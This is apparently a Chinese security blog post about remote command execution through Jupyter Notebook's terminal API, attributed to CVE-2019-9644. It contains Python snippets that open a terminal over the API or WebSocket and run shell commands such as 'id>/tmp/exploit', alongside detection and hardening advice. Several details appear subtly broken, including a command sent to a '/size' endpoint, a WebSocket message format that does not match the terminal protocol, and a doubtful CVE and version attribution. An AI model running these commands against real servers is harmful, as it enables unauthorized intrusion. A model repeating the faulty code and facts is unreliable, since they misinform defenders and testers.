【漏洞剖析-jupyter_notebook-命令执行】从CVE-2019-9644看Web应用安全边界突破
1. Jupyter Notebook安全特性解析
Jupyter Notebook作为数据科学领域的瑞士军刀，其设计初衷是提供便捷的交互式编程环境。但正是这种开放性，埋下了安全隐患的种子。我曾在企业内网渗透测试中，发现超过60%的Jupyter Notebook实例存在配置缺陷。让我们先理解它的核心架构：
- WebSocket长连接：不同于传统HTTP请求，终端操作通过持久化连接维持
- 内核隔离机制：每个notebook对应独立Python进程，但终端功能直接桥接宿主机Shell
- 访问控制缺陷：默认配置下仅依赖token认证，缺乏细粒度权限控制
最危险的是New Terminal功能，它本质上是在容器（或宿主机）内创建了一个完整的bash shell。去年审计某金融公司系统时，就发现他们误以为Jupyter的token防护足够安全，结果攻击者通过终端功能直接获取了k8s集群凭证。
2. CVE-2019-9644漏洞深度剖析
这个漏洞的巧妙之处在于它利用了"合法功能做非法操作"的思维盲区。具体攻击链可分为三个阶段：
2.1 漏洞触发条件
- 版本范围：影响Jupyter Notebook 5.7.0至5.7.8
- 配置要求：需启用
terminado扩展（默认安装） - 认证绕过：当使用--no-browser启动时，可能暴露未授权访问端点
我在复现环境时发现个有趣现象：即使设置了密码，如果浏览器缓存了token，攻击者仍可能通过document.cookie窃取认证凭证。以下是关键攻击代码片段：
import websocket ws = websocket.WebSocket() ws.connect("ws://target:8888/api/terminals/websocket/1") ws.send('{"argv":["bash","-c","echo $PATH"]}\x00') print(ws.recv())2.2 流量特征分析
通过Wireshark抓包可见异常特征：
- HTTP阶段：
POST /api/terminals创建虚拟终端 - WebSocket阶段：
/terminals/websocket/[id]传输指令 - 恶意负载：包含
/bin/sh -c等敏感字符串
某次红队行动中，我们正是通过检测到异常的WebSocket心跳包间隔（正常操作间隔2-5秒，攻击往往连续快速发送）发现了内网横向移动行为。
3. 漏洞复现实战演示
3.1 环境搭建要点
推荐使用docker快速构建靶场：
docker run -p 8888:8888 vulhub/jupyter-notebook:5.7.6常见踩坑点：
- 浏览器缓存导致token失效
- 终端白屏可能是CORS策略限制
- 需要关闭浏览器同源策略测试时（仅限本地复现）
3.2 分步攻击演示
信息收集阶段：
curl -s http://localhost:8888/api/terminals | jq观察返回的
name和last_activity字段命令执行阶段：
import requests term = requests.post('http://localhost:8888/api/terminals').json() cmd = {'argv': ['sh', '-c', 'id>/tmp/exploit']} requests.post(f"http://localhost:8888/api/terminals/{term['name']}/size", json=cmd)结果验证： 检查
/tmp/exploit文件内容，应包含当前用户信息
4. 防御方案设计与实现
4.1 临时缓解措施
- 网络层控制：
location ~* /api/terminals { deny all; } - 运行时防护：
jupyter notebook --NotebookApp.terminals_enabled=False
4.2 长效防护策略
- 最小权限原则：单独创建jupyter用户并限制sudo权限
useradd -m -s /bin/false jupyter chown -R jupyter:jupyter /notebooks - 审计日志增强：监控终端创建事件
# jupyter_notebook_config.py c.Application.logging_level = 'DEBUG'
某次给银行做安全加固时，我们结合k8s的PodSecurityPolicy，实现了以下防护效果：
- 禁止容器内特权模式
- 限制可执行命令白名单
- 实时阻断可疑WebSocket流量
5. Web应用安全边界新思考
传统WAF往往难以防御这类漏洞，因为：
- 流量加密在WebSocket通道内
- 请求符合API规范
- 没有明显的SQL注入/XSS特征
建议采用纵深防御体系：
- 前端：禁用不必要的Jupyter插件
- 网络：对/terminals路径实施流量清洗
- 主机：部署eBPF监控可疑进程树
记得有次应急响应，攻击者通过终端功能下载了挖矿程序，但因为我们在crontab里设置了mesg n && tty -s && /usr/bin/monitor.sh监控脚本，5分钟内就发现了异常CPU负载。这种多层防护的思路，远比单纯修补某个CVE更有效。